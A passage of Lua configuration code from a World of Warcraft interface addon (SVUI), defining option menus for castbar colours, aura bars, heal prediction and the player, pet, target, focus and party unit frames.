name = L["Castbar"], args = { castClassColor = { order = 0, type = "toggle", name = L["Class Castbars"], desc = L["Color castbars by the class or reaction type of the unit."], get = function(key) return SV.db[Schema][key[#key]] end, set = function(key, value) MOD:ChangeDBVar(value, key[#key]); MOD:RefreshUnitFrames() end }, casting = { order = 3, name = L["Interruptable"], type = "color", get = function(key) local color = SV.media.extended.unitframes.casting return color[1],color[2],color[3] end, set = function(key, rValue, gValue, bValue) SV.media.extended.unitframes.casting = {rValue, gValue, bValue} MOD:RefreshAllUnitMedia() end, }, spark = { order = 4, name = "Spark Color", type = "color", get = function(key) local color = SV.media.extended.unitframes.spark return color[1],color[2],color[3] end, set = function(key, rValue, gValue, bValue) SV.media.extended.unitframes.spark = {rValue, gValue, bValue} MOD:RefreshAllUnitMedia() end, }, interrupt = { order = 5, name = L["Non-Interruptable"], type = "color", get = function(key) local color = SV.media.extended.unitframes.interrupt return color[1],color[2],color[3] end, set = function(key, rValue, gValue, bValue) SV.media.extended.unitframes.interrupt = {rValue, gValue, bValue} MOD:RefreshAllUnitMedia() end, } } }, auraBars = { order = 11, type = "group", guiInline = true, name = L["Aura Bars"], args = { auraBarByType = { order = 1, name = L["By Type"], desc = L["Color aurabar debuffs by type."], type = "toggle", get = function(key) return SV.db[Schema][key[#key]] end, set = function(key, value) MOD:ChangeDBVar(value, key[#key]); MOD:RefreshUnitFrames() end }, auraBarShield = { order = 2, name = L["Color Shield Buffs"], desc = L["Color all buffs that reduce incoming damage."], type = "toggle", get = function(key) return SV.db[Schema][key[#key]] end, set = function(key, value) MOD:ChangeDBVar(value, key[#key]); MOD:RefreshUnitFrames() end }, buff_bars = { order = 10, name = L["Buffs"], type = "color", get = function(key) local color = SV.media.extended.unitframes.buff_bars return color[1],color[2],color[3] end, set = function(key, rValue, gValue, bValue) SV.media.extended.unitframes.buff_bars = {rValue, gValue, bValue} MOD:RefreshAllUnitMedia() end, }, debuff_bars = { order = 11, name = L["Debuffs"], type = "color", get = function(key) local color = SV.media.extended.unitframes.debuff_bars return color[1],color[2],color[3] end, set = function(key, rValue, gValue, bValue) SV.media.extended.unitframes.debuff_bars = {rValue, gValue, bValue} MOD:RefreshAllUnitMedia() end, }, shield_bars = { order = 12, name = L["Shield Buffs Color"], type = "color", get = function(key) local color = SV.media.extended.unitframes.shield_bars return color[1],color[2],color[3] end, set = function(key, rValue, gValue, bValue) SV.media.extended.unitframes.shield_bars = {rValue, gValue, bValue} MOD:RefreshAllUnitMedia() end, } } }, predict = { order = 12, name = L["Heal Prediction"], type = "group", args = { personal = { order = 1, name = L["Personal"], type = "color", hasAlpha = true, get = function(key) local color = SV.media.extended.unitframes.predict["personal"] return color[1],color[2],color[3] end, set = function(key, rValue, gValue, bValue) SV.media.extended.unitframes.predict["personal"] = {rValue, gValue, bValue} MOD:RefreshUnitFrames() end, }, others = { order = 2, name = L["Others"], type = "color", hasAlpha = true, get = function(key) local color = SV.media.extended.unitframes.predict["others"] return color[1],color[2],color[3] end, set = function(key, rValue, gValue, bValue) SV.media.extended.unitframes.predict["others"] = {rValue, gValue, bValue} MOD:RefreshUnitFrames() end, }, absorbs = { order = 2, name = L["Absorbs"], type = "color", hasAlpha = true, get = function(key) local color = SV.media.extended.unitframes.predict["absorbs"] return color[1],color[2],color[3] end, set = function(key, rValue, gValue, bValue) SV.media.extended.unitframes.predict["absorbs"] = {rValue, gValue, bValue} MOD:RefreshUnitFrames() end, } } } } } } }, player = { name = L['Player'], type = 'group', order = 3, childGroups = "select", get = function(l)return SV.db.UnitFrames['player'][l[#l]]end, set = function(l,m)MOD:ChangeDBVar(m, l[#l], "player");MOD:SetUnitFrame('player')end, args = { enable = { type = 'toggle', order = 1, name = L['Enable'] }, resetSettings = { type = 'execute', order = 2, name = L['Restore Defaults'], func = function(l,m) MOD:ResetUnitOptions('player') SV:ResetAnchors('Player Frame') end }, spacer1 = { order = 3, name = "", type = "description", width = "full", }, spacer2 = { order = 4, name = "", type = "description", width = "full", }, commonGroup = { order = 5, type = 'group', name = L['General Settings'], args = { baseGroup = { order = 1, type = "group", guiInline = true, name = L["Base Settings"], args = { combatfade = { order = 1, name = L["Combat Fade"], desc = L["Fade the unitframe when out of combat, not casting, no target exists."], type = "toggle", set = function(l, m) MOD:ChangeDBVar(m, l[#l], "player"); MOD:SetUnitFrame("player") if m == true then SVUI_Pet:SetParent(SVUI_Player) else SVUI_Pet:SetParent(SVUI_UnitFrameParent) end end }, predict = { order = 2, name = L["Heal Prediction"], desc = L["Show a incomming heal prediction bar on the unitframe. Also display a slightly different colored bar for incoming overheals."], type = "toggle" }, threatEnabled = { type = "toggle", order = 3, name = L["Show Threat"] }, playerExpBar = { order = 4, name = "Playerframe Experience Bar", desc = "Show player experience on power bar mouseover", type = "toggle", set = function(l, m)MOD:ChangeDBVar(m, l[#l], "player");SV:StaticPopup_Show("RL_CLIENT")end }, playerRepBar = { order = 5, name = "Playerframe Reputation Bar", desc = "Show player reputations on power bar mouseover", type = "toggle", set = function(l, m)MOD:ChangeDBVar(m, l[#l], "player");SV:StaticPopup_Show("RL_CLIENT")end } } }, sizeGroup = { order = 2, guiInline = true, type = "group", name = L["Size Settings"], args = { width = { order = 1, name = L["Width"], type = "range", width = "full", min = 50, max = 500, step = 1, set = function(l, m) if SV.db.UnitFrames["player"].castbar.width == SV.db.UnitFrames["player"][l[#l]] then SV.db.UnitFrames["player"].castbar.width = m end MOD:ChangeDBVar(m, l[#l], "player"); MOD:SetUnitFrame("player") end }, height = { order = 2, name = L["Height"], type = "range", width = "full", min = 10, max = 250, step = 1 }, } }, pvpGroup = { order = 3, type = "group", guiInline = true, name = PVP, get = function(l)return SV.db.UnitFrames["player"]["pvp"][l[#l]]end, set = function(l, m)MOD:ChangeDBVar(m, l[#l], "player", "pvp");MOD:SetUnitFrame("player")end, args = { position = { type = "select", order = 2, name = L["Position"], values = { TOPLEFT = "TOPLEFT", LEFT = "LEFT", BOTTOMLEFT = "BOTTOMLEFT", RIGHT = "RIGHT", TOPRIGHT = "TOPRIGHT", BOTTOMRIGHT = "BOTTOMRIGHT", CENTER = "CENTER", TOP = "TOP", BOTTOM = "BOTTOM" } }, tags = { order = 100, name = L["Text Format"], type = "input", width = "full", desc = L["TEXT_FORMAT_DESC"] } } } } }, misc = SVUIOptions:SetMiscConfigGroup(false, MOD.SetUnitFrame, "player"), health = SVUIOptions:SetHealthConfigGroup(false, MOD.SetUnitFrame, "player"), power = SVUIOptions:SetPowerConfigGroup(true, MOD.SetUnitFrame, "player"), name = SVUIOptions:SetNameConfigGroup(MOD.SetUnitFrame, "player"), portrait = SVUIOptions:SetPortraitConfigGroup(MOD.SetUnitFrame, "player"), buffs = SVUIOptions:SetAuraConfigGroup(true, "buffs", false, MOD.SetUnitFrame, "player"), debuffs = SVUIOptions:SetAuraConfigGroup(true, "debuffs", false, MOD.SetUnitFrame, "player"), castbar = SVUIOptions:SetCastbarConfigGroup(MOD.SetUnitFrame, "player"), icons = SVUIOptions:SetIconConfigGroup(MOD.SetUnitFrame, "player"), classbar = { order = 1000, type = "group", name = L["Classbar"], get = function(l)return SV.db.UnitFrames["player"]["classbar"][l[#l]]end, set = function(l, m)MOD:ChangeDBVar(m, l[#l], "player", "classbar");MOD:SetUnitFrame("player")end, args = { enable = { type = "toggle", order = 1, name = L["Classbar Enabled"] }, detachFromFrame = { type = "toggle", order = 2, name = L["Detach From Frame"] }, height = { type = "range", order = 4, name = L["Classbar Height (Size)"], min = 15, max = 45, step = 1 }, } } } }, pet = { name = L["Pet"], type = "group", order = 4, childGroups = "select", get = function(l)return SV.db.UnitFrames["pet"][l[#l]]end, set = function(l, m)MOD:ChangeDBVar(m, l[#l], "pet");MOD:SetUnitFrame("pet")end, args = { enable = {type = "toggle", order = 1, name = L["Enable"]}, resetSettings = {type = "execute", order = 2, name = L["Restore Defaults"], func = function(l, m)MOD:ResetUnitOptions("pet")SV:ResetAnchors("Pet Frame")end}, spacer1 = { order = 3, name = "", type = "description", width = "full", }, spacer2 = { order = 4, name = "", type = "description", width = "full", }, commonGroup = { order = 5, type = "group", name = L["General Settings"], args = { showAuras = { order = 1, type = "execute", name = L["Show Auras"], func = function()local U = SVUI_Pet;if U.forceShowAuras then U.forceShowAuras = nil else U.forceShowAuras = true end MOD:SetUnitFrame("pet")end }, miscGroup = { order = 2, type = "group", guiInline = true, name = L["Base Settings"], args = { rangeCheck = { order = 2, name = L["Range Check"], desc = L["Check if you are in range to cast spells on this specific unit."], type = "toggle" }, predict = { order = 3, name = L["Heal Prediction"], desc = L["Show a incomming heal prediction bar on the unitframe. Also display a slightly different colored bar for incoming overheals."], type = "toggle" }, hideonnpc = { type = "toggle", order = 4, name = L["Text Toggle On NPC"], desc = L["Power text will be hidden on NPC targets, in addition the name text will be repositioned to the power texts anchor point."], get = function(l)return SV.db.UnitFrames["pet"]["power"].hideonnpc end, set = function(l, m)SV.db.UnitFrames["pet"]["power"].hideonnpc = m;MOD:SetUnitFrame("pet")end }, threatEnabled = { type = "toggle", order = 5, name = L["Show Threat"] }, } }, scaleGroup = { order = 6, type = "group", guiInline = true, name = L["Frame Size"], args = { width = {order = 1, name = L["Width"], width = "full", type = "range", min = 50, max = 500, step = 1}, height = {order = 2, name = L["Height"], width = "full", type = "range", min = 10, max = 250, step = 1}, } }, watchGroup = { order = 8, type = "group", guiInline = true, name = L["Aura Watch"], get = function(l)return SV.db.UnitFrames["pet"]["auraWatch"][l[#l]]end, set = function(l, m)MOD:ChangeDBVar(m, l[#l], "pet", "auraWatch");MOD:SetUnitFrame("pet")end, args = { enable = { type = "toggle", name = L["Enable"], order = 1 }, size = { type = "range", name = L["Size"], desc = L["Size of the indicator icon."], order = 2, min = 4, max = 15, step = 1 } } }, }, }, misc = SVUIOptions:SetMiscConfigGroup(false, MOD.SetUnitFrame, "pet"), health = SVUIOptions:SetHealthConfigGroup(false, MOD.SetUnitFrame, "pet"), power = SVUIOptions:SetPowerConfigGroup(false, MOD.SetUnitFrame, "pet"), portrait = SVUIOptions:SetPortraitConfigGroup(MOD.SetUnitFrame, "pet"), name = SVUIOptions:SetNameConfigGroup(MOD.SetUnitFrame, "pet"), buffs = SVUIOptions:SetAuraConfigGroup(true, "buffs", false, MOD.SetUnitFrame, "pet"), debuffs = SVUIOptions:SetAuraConfigGroup(true, "debuffs", false, MOD.SetUnitFrame, "pet") } }, pettarget = { name = L["Pet Target"], type = "group", order = 5, childGroups = "select", get = function(l)return SV.db.UnitFrames["pettarget"][l[#l]]end, set = function(l, m)MOD:ChangeDBVar(m, l[#l], "pettarget");MOD:SetUnitFrame("pettarget")end, args = { enable = {type = "toggle", order = 1, name = L["Enable"]}, resetSettings = {type = "execute", order = 2, name = L["Restore Defaults"], func = function(l, m)MOD:ResetUnitOptions("pettarget")SV:ResetAnchors("PetTarget Frame")end}, spacer1 = { order = 3, name = "", type = "description", width = "full", }, spacer2 = { order = 4, name = "", type = "description", width = "full", }, commonGroup = { order = 5, type = "group", name = L["General Settings"], args = { showAuras = { order = 1, type = "execute", name = L["Show Auras"], func = function()local U = SVUI_PetTarget;if U.forceShowAuras then U.forceShowAuras = nil else U.forceShowAuras = true end MOD:SetUnitFrame("pettarget")end }, miscGroup = { order = 2, type = "group", guiInline = true, name = L["Base Settings"], args = { rangeCheck = { order = 2, name = L["Range Check"], desc = L["Check if you are in range to cast spells on this specific unit."], type = "toggle" }, hideonnpc = { type = "toggle", order = 4, name = L["Text Toggle On NPC"], desc = L["Power text will be hidden on NPC targets, in addition the name text will be repositioned to the power texts anchor point."], get = function(l)return SV.db.UnitFrames["pettarget"]["power"].hideonnpc end, set = function(l, m)SV.db.UnitFrames["pettarget"]["power"].hideonnpc = m;MOD:SetUnitFrame("pettarget")end }, threatEnabled = { type = "toggle", order = 5, name = L["Show Threat"] }, } }, scaleGroup = { order = 3, type = "group", guiInline = true, name = L["Frame Size"], args = { width = {order = 1, name = L["Width"], width = "full", type = "range", min = 50, max = 500, step = 1}, height = {order = 2, name = L["Height"], width = "full", type = "range", min = 10, max = 250, step = 1}, } }, }, }, misc = SVUIOptions:SetMiscConfigGroup(false, MOD.SetUnitFrame, "pettarget"), health = SVUIOptions:SetHealthConfigGroup(false, MOD.SetUnitFrame, "pettarget"), power = SVUIOptions:SetPowerConfigGroup(false, MOD.SetUnitFrame, "pettarget"), name = SVUIOptions:SetNameConfigGroup(MOD.SetUnitFrame, "pettarget"), buffs = SVUIOptions:SetAuraConfigGroup(false, "buffs", false, MOD.SetUnitFrame, "pettarget"), debuffs = SVUIOptions:SetAuraConfigGroup(false, "debuffs", false, MOD.SetUnitFrame, "pettarget") } }, target = { name = L['Target'], type = 'group', order = 6, childGroups = "select", get=function(l)return SV.db.UnitFrames['target'][l[#l]]end, set=function(l,m)MOD:ChangeDBVar(m, l[#l], "target");MOD:SetUnitFrame('target')end, args={ enable={type='toggle',order=1,name=L['Enable']}, resetSettings={type='execute',order=2,name=L['Restore Defaults'],func=function(l,m)MOD:ResetUnitOptions('target')SV:ResetAnchors('Target Frame')end}, spacer1 = { order = 3, name = "", type = "description", width = "full", }, spacer2 = { order = 4, name = "", type = "description", width = "full", }, commonGroup = { order = 5, type = 'group', name = L['General Settings'], args = { baseGroup = { order = 1, type = "group", guiInline = true, name = L["Base Settings"], args = { showAuras = { order = 1, type = "execute", name = L["Show Auras"], func = function()local U = SVUI_Target;if U.forceShowAuras then U.forceShowAuras = nil else U.forceShowAuras = true end MOD:SetUnitFrame("target")end }, predict = { order = 2, name = L["Heal Prediction"], desc = L["Show a incomming heal prediction bar on the unitframe. Also display a slightly different colored bar for incoming overheals."], type = "toggle" }, hideonnpc = { type = "toggle", order = 3, name = L["Text Toggle On NPC"], desc = L["Power text will be hidden on NPC targets, in addition the name text will be repositioned to the power texts anchor point."], get = function(l)return SV.db.UnitFrames["target"]["power"].hideonnpc end, set = function(l, m)SV.db.UnitFrames["target"]["power"].hideonnpc = m;MOD:SetUnitFrame("target")end }, threatEnabled = { type = "toggle", order = 4, name = L["Show Threat"] }, middleClickFocus = { order = 5, name = L["Middle Click - Set Focus"], desc = L["Middle clicking the unit frame will cause your focus to match the unit."], type = "toggle", disabled = function()return IsAddOnLoaded("Clique")end }, } }, sizeGroup = { order = 2, guiInline = true, type = "group", name = L["Size Settings"], args = { width = { order = 1, name = L["Width"], type = "range", width = "full", min = 10, max = 500, step = 1, set = function(l, m) if SV.db.UnitFrames["target"].castbar.width == SV.db.UnitFrames["target"][l[#l]] then SV.db.UnitFrames["target"].castbar.width = m end MOD:ChangeDBVar(m, l[#l], "target"); MOD:SetUnitFrame("target") end }, height = { order = 2, name = L["Height"], type = "range", width = "full", min = 10, max = 500, step = 1 }, } } } }, combobar = { order = 800, type = "group", name = L["Combobar"], get = function(l)return SV.db.UnitFrames["target"]["combobar"][l[#l]]end, set = function(l, m)MOD:ChangeDBVar(m, l[#l], "target", "combobar");MOD:SetUnitFrame("target")end, args = { enable = { type = "toggle", order = 1, name = L["Enable"] }, smallIcons = { type = "toggle", name = L["Small Points"], order = 2 }, height = { type = "range", order = 3, name = L["Height"], min = 15, max = 45, step = 1 }, autoHide = { type = "toggle", name = L["Auto-Hide"], order = 4 } } }, misc = SVUIOptions:SetMiscConfigGroup(false, MOD.SetUnitFrame, "target"), health = SVUIOptions:SetHealthConfigGroup(false, MOD.SetUnitFrame, "target"), power = SVUIOptions:SetPowerConfigGroup(true, MOD.SetUnitFrame, "target"), name = SVUIOptions:SetNameConfigGroup(MOD.SetUnitFrame, "target"), portrait = SVUIOptions:SetPortraitConfigGroup(MOD.SetUnitFrame, "target"), buffs = SVUIOptions:SetAuraConfigGroup(false, "buffs", false, MOD.SetUnitFrame, "target"), debuffs = SVUIOptions:SetAuraConfigGroup(false, "debuffs", false, MOD.SetUnitFrame, "target"), castbar = SVUIOptions:SetCastbarConfigGroup(MOD.SetUnitFrame, "target"), icons = SVUIOptions:SetIconConfigGroup(MOD.SetUnitFrame, "target") } }, targettarget = { name = L['Target of Target'], type = 'group', order = 7, childGroups = "select", get = function(l)return SV.db.UnitFrames['targettarget'][l[#l]]end, set = function(l,m)MOD:ChangeDBVar(m, l[#l], "targettarget");MOD:SetUnitFrame('targettarget')end, args={ enable={type='toggle',order=1,name=L['Enable']}, resetSettings={type='execute',order=2,name=L['Restore Defaults'],func=function(l,m)MOD:ResetUnitOptions('targettarget')SV:ResetAnchors('TargetTarget Frame')end}, spacer1 = { order = 3, name = "", type = "description", width = "full", }, spacer2 = { order = 4, name = "", type = "description", width = "full", }, commonGroup = { order = 5, type = 'group', name = L['General Settings'], args = { baseGroup = { order = 1, type = "group", guiInline = true, name = L["Base Settings"], args = { showAuras = { order = 1, type = "execute", name = L["Show Auras"], func = function()local U = SVUI_TargetTarget;if U.forceShowAuras then U.forceShowAuras = nil else U.forceShowAuras = true end MOD:SetUnitFrame("targettarget")end }, spacer1 = { order = 2, type = "description", name = "", }, rangeCheck = { order = 3, name = L["Range Check"], desc = L["Check if you are in range to cast spells on this specific unit."], type = "toggle" }, hideonnpc = { type = "toggle", order = 4, name = L["Text Toggle On NPC"], desc = L["Power text will be hidden on NPC targets, in addition the name text will be repositioned to the power texts anchor point."], get = function(l)return SV.db.UnitFrames["target"]["power"].hideonnpc end, set = function(l, m)SV.db.UnitFrames["target"]["power"].hideonnpc = m;MOD:SetUnitFrame("target")end }, threatEnabled = { type = "toggle", order = 5, name = L["Show Threat"] } } }, sizeGroup = { order = 2, guiInline = true, type = "group", name = L["Size Settings"], args = { width = { order = 1, name = L["Width"], type = "range", width = "full", min = 10, max = 500, step = 1, }, height = { order = 2, name = L["Height"], type = "range", width = "full", min = 10, max = 500, step = 1 }, } } } }, misc = SVUIOptions:SetMiscConfigGroup(false, MOD.SetUnitFrame, "targettarget"), health = SVUIOptions:SetHealthConfigGroup(false, MOD.SetUnitFrame, "targettarget"), power = SVUIOptions:SetPowerConfigGroup(nil, MOD.SetUnitFrame, "targettarget"), name = SVUIOptions:SetNameConfigGroup(MOD.SetUnitFrame, "targettarget"), portrait = SVUIOptions:SetPortraitConfigGroup(MOD.SetUnitFrame, "targettarget"), buffs = SVUIOptions:SetAuraConfigGroup(false, "buffs", false, MOD.SetUnitFrame, "targettarget"), debuffs = SVUIOptions:SetAuraConfigGroup(false, "debuffs", false, MOD.SetUnitFrame, "targettarget"), icons = SVUIOptions:SetIconConfigGroup(MOD.SetUnitFrame, "targettarget") } }, focus = { name = L["Focus"], type = "group", order = 8, childGroups = "select", get = function(l)return SV.db.UnitFrames["focus"][l[#l]]end, set = function(l, m)MOD:ChangeDBVar(m, l[#l], "focus");MOD:SetUnitFrame("focus")end, args = { enable = {type = "toggle", order = 1, name = L["Enable"]}, resetSettings = {type = "execute", order = 2, name = L["Restore Defaults"], func = function(l, m)MOD:ResetUnitOptions("focus");SV:ResetAnchors("Focus Frame")end}, spacer1 = { order = 3, name = "", type = "description", width = "full", }, spacer2 = { order = 4, name = "", type = "description", width = "full", }, commonGroup = { order = 5, type = "group", name = L["General Settings"], args = { baseGroup = { order = 1, type = "group", guiInline = true, name = L["Base Settings"], args = { showAuras = { order = 1, type = "execute", name = L["Show Auras"], func = function()local U = SVUI_Focus;if U.forceShowAuras then U.forceShowAuras = nil else U.forceShowAuras = true end MOD:SetUnitFrame("focus")end }, rangeCheck = { order = 2, name = L["Range Check"], desc = L["Check if you are in range to cast spells on this specific unit."], type = "toggle" }, predict = { order = 3, name = L["Heal Prediction"], desc = L["Show a incomming heal prediction bar on the unitframe. Also display a slightly different colored bar for incoming overheals."], type = "toggle" }, hideonnpc = { type = "toggle", order = 4, name = L["Text Toggle On NPC"], desc = L["Power text will be hidden on NPC targets, in addition the name text will be repositioned to the power texts anchor point."], get = function(l)return SV.db.UnitFrames["focus"]["power"].hideonnpc end, set = function(l, m)SV.db.UnitFrames["focus"]["power"].hideonnpc = m;MOD:SetUnitFrame("focus")end }, threatEnabled = { type = "toggle", order = 5, name = L["Show Threat"] } } }, sizeGroup = { order = 2, guiInline = true, type = "group", name = L["Size Settings"], args = { width = { order = 1, name = L["Width"], type = "range", width = "full", min = 10, max = 500, step = 1, }, height = { order = 2, name = L["Height"], type = "range", width = "full", min = 10, max = 500, step = 1 }, } }, } }, misc = SVUIOptions:SetMiscConfigGroup(false, MOD.SetUnitFrame, "focus"), health = SVUIOptions:SetHealthConfigGroup(false, MOD.SetUnitFrame, "focus"), power = SVUIOptions:SetPowerConfigGroup(nil, MOD.SetUnitFrame, "focus"), name = SVUIOptions:SetNameConfigGroup(MOD.SetUnitFrame, "focus"), buffs = SVUIOptions:SetAuraConfigGroup(false, "buffs", false, MOD.SetUnitFrame, "focus"), debuffs = SVUIOptions:SetAuraConfigGroup(false, "debuffs", false, MOD.SetUnitFrame, "focus"), castbar = SVUIOptions:SetCastbarConfigGroup(MOD.SetUnitFrame, "focus"), icons = SVUIOptions:SetIconConfigGroup(MOD.SetUnitFrame, "focus") } }, focustarget = { name = L["FocusTarget"], type = "group", order = 9, childGroups = "select", get = function(l)return SV.db.UnitFrames["focustarget"][l[#l]]end, set = function(l, m)MOD:ChangeDBVar(m, l[#l], "focustarget");MOD:SetUnitFrame("focustarget")end, args = { enable = {type = "toggle", order = 1, name = L["Enable"]}, resetSettings = {type = "execute", order = 2, name = L["Restore Defaults"], func = function(l, m)MOD:ResetUnitOptions("focustarget")SV:ResetAnchors("FocusTarget Frame")end}, spacer1 = { order = 3, name = "", type = "description", width = "full", }, spacer2 = { order = 4, name = "", type = "description", width = "full", }, commonGroup = { order = 5, type = "group", name = L["General Settings"], args = { baseGroup = { order = 1, type = "group", guiInline = true, name = L["Base Settings"], args = { showAuras = { order = 1, type = "execute", name = L["Show Auras"], func = function() if(SVUI_FocusTarget.forceShowAuras == true) then SVUI_FocusTarget.forceShowAuras = nil else SVUI_FocusTarget.forceShowAuras = true end MOD:SetUnitFrame("focustarget") end }, spacer1 = { order = 2, type = "description", name = "", }, rangeCheck = {order = 3, name = L["Range Check"], desc = L["Check if you are in range to cast spells on this specific unit."], type = "toggle"}, hideonnpc = {type = "toggle", order = 4, name = L["Text Toggle On NPC"], desc = L["Power text will be hidden on NPC targets, in addition the name text will be repositioned to the power texts anchor point."], get = function(l)return SV.db.UnitFrames["focustarget"]["power"].hideonnpc end, set = function(l, m)SV.db.UnitFrames["focustarget"]["power"].hideonnpc = m;MOD:SetUnitFrame("focustarget")end}, threatEnabled = {type = "toggle", order = 5, name = L["Show Threat"]} } }, sizeGroup = { order = 2, guiInline = true, type = "group", name = L["Size Settings"], args = { width = { order = 1, name = L["Width"], type = "range", width = "full", min = 10, max = 500, step = 1, }, height = { order = 2, name = L["Height"], type = "range", width = "full", min = 10, max = 500, step = 1 }, } }, } }, misc = SVUIOptions:SetMiscConfigGroup(false, MOD.SetUnitFrame, "focustarget"), health = SVUIOptions:SetHealthConfigGroup(false, MOD.SetUnitFrame, "focustarget"), power = SVUIOptions:SetPowerConfigGroup(false, MOD.SetUnitFrame, "focustarget"), name = SVUIOptions:SetNameConfigGroup(MOD.SetUnitFrame, "focustarget"), buffs = SVUIOptions:SetAuraConfigGroup(false, "buffs", false, MOD.SetUnitFrame, "focustarget"), debuffs = SVUIOptions:SetAuraConfigGroup(false, "debuffs", false, MOD.SetUnitFrame, "focustarget"), icons = SVUIOptions:SetIconConfigGroup(MOD.SetUnitFrame, "focustarget") } }, party = { name = L['Party'], type = 'group', order = 10, childGroups = "select", get = function(l) return SV.db.UnitFrames['party'][l[#l]] end, set = function(l, m) MOD:ChangeDBVar(m, l[#l], "party"); MOD:SetGroupFrame('party') end, args = { enable = { type = 'toggle', order = 1, name = L['Enable'], }, configureToggle = { order = 2, type = 'execute', name = L['Display Frames'], func = function() MOD:ViewGroupFrames(SVUI_Party, SVUI_Party.forceShow ~= true or nil) end, }, resetSettings = { type = 'execute', order = 3, name = L['Restore Defaults'], func = function(l, m)MOD:ResetUnitOptions('party')SV:ResetAnchors('Party Frames')end, }, spacer1 = { order = 4, name = "", type = "description", width = "full", }, spacer2 = { order = 5, name = "", type = "description", width = "full", }, general = { order = 6, type = "group", name = L["General Settings"], args = { commonGroup = { order = 1, name = L["Basic Options"], type = "group", guiInline = true, args = { rangeCheck = { order = 1, type = "toggle", name = L["Range Check"], desc = L["Check if you are in range to cast spells on this specific unit."], }, predict = { order = 2, type = "toggle", name = L["Heal Prediction"], desc = L["Show a incomming heal prediction bar on the unitframe. Also display a slightly different colored bar for incoming overheals."], }, threatEnabled = { order = 3, type = "toggle", name = L["Show Threat"], }, } }, layoutGroup = { order = 2, name = L["Layout Options"], type = "group", guiInline = true, set = function(key, value) MOD:ChangeDBVar(value, key[#key], "party"); MOD:SetGroupFrame("party", true) end, args = { common = { order = 1, name = L["General Layout"], type = "group", guiInline = true, args = { enable = { order = 1, name = L["Enable Grid Mode"], desc = L["Converts frames into symmetrical squares. Ideal for healers."], type = "toggle", get = function(key) return SV.db.UnitFrames["party"].grid.enable end, set = function(key, value) MOD:ChangeDBVar(value, key[#key], "party", "grid"); MOD:SetGroupFrame("party", true); SV.Options.args.UnitFrames.args.commonGroup.args.party.args.general.args.layoutGroup.args.sizing = SVUIOptions:SetSizeConfigGroup(value, "party"); end, }, invertGroupingOrder = { order = 2, type = "toggle", name = L["Invert Grouping Order"], desc = L["Enabling this inverts the grouping order."], disabled = function() return not SV.db.UnitFrames["party"].customSorting end, }, } }, sizing = SVUIOptions:SetSizeConfigGroup(SV.db.UnitFrames.party.grid.enable, "party"), sorting = { order = 3, name = L["Sorting"], type = "group", guiInline = true, args = { gRowCol = { order = 1, type = "range", name = L["Groups Per Row / Column"], min = 1, max = 8, step = 1, width = 'full', set = function(key, value) MOD:ChangeDBVar(value, key[#key], "party"); MOD:SetGroupFrame("party") if(_G["SVUI_Raid"] and _G["SVUI_Raid"].isForced) then MOD:ViewGroupFrames(_G["SVUI_Raid"]) MOD:ViewGroupFrames(_G["SVUI_Raid"], true) end end, }, showBy = { order = 2, name = L["Growth Direction"], desc = L["Growth direction from the first unitframe."], type = "select", values = { DOWN_RIGHT = format(L["%s and then %s"], L["Down"], L["Right"]), DOWN_LEFT = format(L["%s and then %s"], L["Down"], L["Left"]), UP_RIGHT = format(L["%s and then %s"], L["Up"], L["Right"]), UP_LEFT = format(L["%s and then %s"], L["Up"], L["Left"]), RIGHT_DOWN = format(L["%s and then %s"], L["Right"], L["Down"]), RIGHT_UP = format(L["%s and then %s"], L["Right"], L["Up"]), LEFT_DOWN = format(L["%s and then %s"], L["Left"], L["Down"]), LEFT_UP = format(L["%s and then %s"], L["Left"], L["Up"]), }, }, sortMethod = { order = 3, name = L["Group By"], desc = L["Set the order that the group will sort."], type = "select", values = { ["CLASS"] = CLASS, ["ROLE"] = ROLE.."(Tanks, Healers, DPS)", ["ROLE_TDH"] = ROLE.."(Tanks, DPS, Healers)", ["ROLE_HDT"] = ROLE.."(Healers, DPS, Tanks)", ["ROLE_HTD"] = ROLE.."(Healers, Tanks, DPS)", ["NAME"] = NAME, ["MTMA"] = L["Main Tanks / Main Assist"], ["GROUP"] = GROUP, }, }, sortDir = { order = 4, name = L["Sort Direction"], desc = L["Defines the sort order of the selected sort method."], type = "select", values = { ["ASC"] = L["Ascending"], ["DESC"] = L["Descending"], }, }, } } }, }, } }, auraWatch = { order = 600, type = 'group', name = L['Aura Watch'], get = function(l)return SV.db.UnitFrames['party']['auraWatch'][l[#l]]end, set = function(l, m) MOD:ChangeDBVar(m, l[#l], "party", "auraWatch"); MOD:SetGroupFrame('party')end, args = { enable = { type = 'toggle', name = L['Enable'], order = 1, }, size = { type = 'range', name = L['Size'], desc = L['Size of the indicator icon.'], order = 2, min = 4, max = 15, step = 1, }, configureButton = { type = 'execute', name = L['Configure Auras'], func = function()SVUIOptions:SetToFilterConfig('BuffWatch')end, order = 3, }, }, }, misc = SVUIOptions:SetMiscConfigGroup(true, MOD.SetGroupFrame, 'party'), health = SVUIOptions:SetHealthConfigGroup(true, MOD.SetGroupFrame, 'party'), power = SVUIOptions:SetPowerConfigGroup(false, MOD.SetGroupFrame, 'party'), name = SVUIOptions:SetNameConfigGroup(MOD.SetGroupFrame, 'party'), portrait = SVUIOptions:SetPortraitConfigGroup(MOD.SetGroupFrame, 'party'), buffs = SVUIOptions:SetAuraConfigGroup(true, 'buffs', true, MOD.SetGroupFrame, 'party'), debuffs = SVUIOptions:SetAuraConfigGroup(true, 'debuffs', true, MOD.SetGroupFrame, 'party'), petsGroup = { order = 800, type = 'group', name = L['Party Pets'], get = function(l)return SV.db.UnitFrames['party']['petsGroup'][l[#l]]end, set = function(l, m)MOD:ChangeDBVar(m, l[#l], "party", "petsGroup");MOD:SetGroupFrame('party')end, args = { enable = { type = 'toggle', name = L['Enable'], order = 1, }, width = { order = 3, name = L['Width'], type = 'range', min = 10, max = 500, step = 1, }, height = { order = 4, name = L['Height'], type = 'range', min = 10, max = 250, step = 1, }, anchorPoint = { type = 'select', order = 5, name = L['Anchor Point'], desc = L['What point to anchor to the frame you set to attach to.'], values = {TOPLEFT='TOPLEFT',LEFT='LEFT',BOTTOMLEFT='BOTTOMLEFT',RIGHT='RIGHT',TOPRIGHT='TOPRIGHT',BOTTOMRIGHT='BOTTOMRIGHT',CENTER='CENTER',TOP='TOP',BOTTOM='BOTTOM'}, }, xOffset = { order = 6, type = 'range', name = L['xOffset'], desc = L['An X offset (in pixels) to be used when anchoring new frames.'], min = - 500, max = 500, step = 1, }, yOffset = { order = 7, type = 'range', name = L['yOffset'], desc = L['An Y offset (in pixels) to be used when anchoring new frames.'], min = - 500, max = 500, step = 1, }, name_length = { order = 8, name = L["Name Length"], desc = L["TEXT_FORMAT_DESC"], type = "range", width = "full", min = 1, max 